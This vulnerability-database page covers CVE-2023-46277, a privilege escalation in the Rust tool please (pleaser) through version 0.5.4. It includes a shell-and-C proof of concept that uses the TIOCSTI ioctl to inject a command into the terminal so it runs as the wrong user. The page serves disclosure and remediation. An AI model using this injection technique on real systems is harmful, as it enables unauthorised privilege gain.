CVE-2023-46277 — Vulnerability in pleaser — CVE Details
HIGH
Pleaser privilege escalation vulnerability
Published October 20, 2023Updated September 12, 2024Source: osv
Summary
please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)
Here is how to see it in action:
```
$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>
int main(void) {
const char *text = "id\n";
while (*text)
ioctl(0, TIOCSTI, text++);
return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI # runs id(1) as ${USER} rather than nobody
```
Please note that:
This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.
Advisory Timeline
- First published October 20, 2023 (1088 days ago).
- Last revised September 12, 2024 — 329 days after initial publication.
Affected Packages (1)
Affects 1 ecosystem: crates.io (1).
| Package | Ecosystem | Affected | Fixed In |
|---|---|---|---|
| pleaser | crates.io | All versions | Range-based data available |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-269Improper Privilege ManagementMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 7.8 score means for each attack dimension.
Attack Vector
Local
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
References
- https://nvd.nist.gov/vuln/detail/CVE-2023-46277ADVISORY
- https://github.com/rustsec/advisory-db/pull/1798WEB
- https://gitlab.com/edneville/pleasePACKAGE
- https://gitlab.com/edneville/please/-/issues/13WEB
- https://gitlab.com/edneville/please/-/merge_requests/69#note_1594254575WEB
- https://rustsec.org/advisories/RUSTSEC-2023-0066.htmlWEB
Frequently Asked Questions
- What is CVE-2023-46277?
- Pleaser privilege escalation vulnerability This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.8/10).
- How do I check if my project is affected by CVE-2023-46277?
- CVE-2023-46277 affects pleaser. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2023-46277 and 200,000+ other known vulnerabilities.
Severity & Exploitability
CVSS Score
7.8
High exploitability or significant impact. Prioritize remediation within days.
Also Known As
GHSA-cgf8-h3fp-h956
RUSTSEC-2023-0066
Related CVEs
- CVE-2026-93657HIGH
hickory-resolver: Resolver::lookup() and Resolver::lookup_ip() APIs obscure DNSSEC validation failures
- CVE-2026-18140HIGH
aws-smithy-json: Uncontrolled recursion in the aws-smithy-json unknown-key skip path allows unauthenticated remote denial of service in smithy-rs generated servers
Check if you're affected
Scan your dependencies to see if this vulnerability affects your projects.
Scan Your Dependencies